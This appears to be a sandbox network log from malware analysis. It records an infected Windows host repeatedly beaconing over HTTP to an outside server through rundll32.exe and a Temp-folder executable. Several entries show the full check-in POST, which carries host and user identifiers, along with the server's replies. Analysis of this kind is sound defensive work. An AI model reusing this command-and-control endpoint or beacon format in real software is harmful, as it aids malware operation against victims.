Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1442	192.168.2.5	50586	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1443	176.111.174.114	80	192.168.2.5	50586	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1444	192.168.2.5	50588	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1445	176.111.174.114	80	192.168.2.5	50588	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1446	192.168.2.5	50589	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1447	176.111.174.114	80	192.168.2.5	50589	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1448	192.168.2.5	50590	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1449	176.111.174.114	80	192.168.2.5	50590	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
145	176.111.174.114	80	192.168.2.5	49790	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:45.385080099 CEST	2095	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:45 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1450	192.168.2.5	50591	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1451	176.111.174.114	80	192.168.2.5	50591	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1452	192.168.2.5	50592	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1453	192.168.2.5	50593	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1454	176.111.174.114	80	192.168.2.5	50593	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1455	176.111.174.114	80	192.168.2.5	50592	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1456	192.168.2.5	50594	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1457	176.111.174.114	80	192.168.2.5	50594	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1458	192.168.2.5	50596	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1459	176.111.174.114	80	192.168.2.5	50596	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
146	192.168.2.5	49792	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:45.587301016 CEST	2095	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1460	192.168.2.5	50597	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1461	176.111.174.114	80	192.168.2.5	50597	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1462	192.168.2.5	50598	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1463	176.111.174.114	80	192.168.2.5	50598	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1464	192.168.2.5	50600	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1465	176.111.174.114	80	192.168.2.5	50600	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1466	192.168.2.5	50601	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1467	176.111.174.114	80	192.168.2.5	50601	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1468	192.168.2.5	50602	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1469	176.111.174.114	80	192.168.2.5	50602	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
147	176.111.174.114	80	192.168.2.5	49792	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:45.693449020 CEST	2096	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:45 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1470	192.168.2.5	50603	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1471	176.111.174.114	80	192.168.2.5	50603	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1472	192.168.2.5	50604	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1473	192.168.2.5	50605	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1474	176.111.174.114	80	192.168.2.5	50605	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1475	176.111.174.114	80	192.168.2.5	50604	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1476	192.168.2.5	50606	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1477	176.111.174.114	80	192.168.2.5	50606	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1478	192.168.2.5	50608	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1479	176.111.174.114	80	192.168.2.5	50608	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
148	192.168.2.5	49793	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:45.902287960 CEST	2096	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1480	192.168.2.5	50609	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1481	176.111.174.114	80	192.168.2.5	50609	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1482	192.168.2.5	50610	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1483	176.111.174.114	80	192.168.2.5	50610	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1484	192.168.2.5	50612	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1485	176.111.174.114	80	192.168.2.5	50612	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1486	192.168.2.5	50613	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1487	176.111.174.114	80	192.168.2.5	50613	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1488	192.168.2.5	50614	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1489	192.168.2.5	50615	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
149	176.111.174.114	80	192.168.2.5	49793	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:46.002257109 CEST	2097	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:45 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1490	176.111.174.114	80	192.168.2.5	50615	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1491	176.111.174.114	80	192.168.2.5	50614	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1492	192.168.2.5	50617	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1493	176.111.174.114	80	192.168.2.5	50617	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1494	192.168.2.5	50618	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1495	176.111.174.114	80	192.168.2.5	50618	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1496	192.168.2.5	50619	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1497	176.111.174.114	80	192.168.2.5	50619	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1498	192.168.2.5	50620	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1499	176.111.174.114	80	192.168.2.5	50620	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	176.111.174.114	80	192.168.2.5	49718	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:24.213471889 CEST	1570	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:24 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
150	192.168.2.5	49795	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:46.563601971 CEST	2097	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1500	192.168.2.5	50622	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1501	176.111.174.114	80	192.168.2.5	50622	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1502	192.168.2.5	50623	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1503	176.111.174.114	80	192.168.2.5	50623	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1504	192.168.2.5	50624	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1505	176.111.174.114	80	192.168.2.5	50624	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1506	192.168.2.5	50625	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1507	192.168.2.5	50626	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1508	176.111.174.114	80	192.168.2.5	50625	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1509	192.168.2.5	50627	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
151	176.111.174.114	80	192.168.2.5	49795	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:46.661710024 CEST	2098	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:46 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1510	176.111.174.114	80	192.168.2.5	50627	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1511	176.111.174.114	80	192.168.2.5	50626	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1512	192.168.2.5	50629	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1513	176.111.174.114	80	192.168.2.5	50629	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1514	192.168.2.5	50630	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1515	176.111.174.114	80	192.168.2.5	50630	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1516	192.168.2.5	50631	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1517	176.111.174.114	80	192.168.2.5	50631	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1518	192.168.2.5	50632	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1519	176.111.174.114	80	192.168.2.5	50632	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
152	192.168.2.5	49796	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:46.880842924 CEST	2098	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1520	192.168.2.5	50634	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1521	176.111.174.114	80	192.168.2.5	50634	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1522	192.168.2.5	50635	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1523	176.111.174.114	80	192.168.2.5	50635	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1524	192.168.2.5	50636	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1525	176.111.174.114	80	192.168.2.5	50636	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1526	192.168.2.5	50637	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1527	192.168.2.5	50638	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1528	176.111.174.114	80	192.168.2.5	50637	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1529	192.168.2.5	50639	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
153	176.111.174.114	80	192.168.2.5	49796	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:46.985491991 CEST	2099	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:46 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1530	176.111.174.114	80	192.168.2.5	50639	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1531	176.111.174.114	80	192.168.2.5	50638	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1532	192.168.2.5	50641	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1533	176.111.174.114	80	192.168.2.5	50641	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1534	192.168.2.5	50642	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1535	176.111.174.114	80	192.168.2.5	50642	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1536	192.168.2.5	50643	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1537	176.111.174.114	80	192.168.2.5	50643	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1538	192.168.2.5	50644	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1539	176.111.174.114	80	192.168.2.5	50644	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
154	192.168.2.5	49797	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:48.172080994 CEST	2099	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1540	192.168.2.5	50646	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1541	176.111.174.114	80	192.168.2.5	50646	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1542	192.168.2.5	50647	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1543	176.111.174.114	80	192.168.2.5	50647	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1544	192.168.2.5	50648	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1545	176.111.174.114	80	192.168.2.5	50648	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1546	192.168.2.5	50649	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

